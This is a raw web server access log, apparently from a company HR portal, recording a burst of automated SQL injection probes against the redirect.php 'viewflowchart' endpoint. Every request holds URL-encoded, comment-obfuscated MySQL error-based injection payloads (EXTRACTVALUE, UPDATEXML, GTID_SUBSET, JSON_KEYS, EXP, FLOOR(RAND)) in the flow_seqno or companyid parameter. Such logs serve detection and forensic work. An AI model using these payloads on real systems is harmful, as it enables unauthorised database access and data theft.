100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x44364d65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34387245%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75474642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32726d71%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75474642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32726d71%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c6e4162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77387157%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c6e4162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77387157%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6f72784c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31565833%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6f72784c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31565833%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x494d6e6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x456a6f4e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x494d6e6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x456a6f4e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e79724c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x626e5a78%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e79724c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x626e5a78%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x674a674f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d716478%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x674a674f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d716478%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64514834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59527051%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64514834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59527051%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4e486673%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46454664%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4e486673%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46454664%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x59595459%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32355a4c%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x59595459%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32355a4c%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x676a3571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a59786b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x676a3571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a59786b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x75386675%2C%28NULL%29%2C0x54397976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x75386675%2C%28NULL%29%2C0x54397976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66727645%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45467237%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66727645%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45467237%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x57307857%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x706b5758%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x57307857%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x706b5758%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a594b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63574b76%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a594b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63574b76%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d307872%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514e6152%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d307872%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514e6152%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x34613075%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44447464%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x34613075%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44447464%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39615737%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65774569%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39615737%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65774569%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x676e7530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f7a51%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x676e7530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f7a51%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68306d4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696d486a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68306d4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696d486a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b615a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76346246%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b615a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76346246%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x75386675%2C%28NULL%29%2C0x54397976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
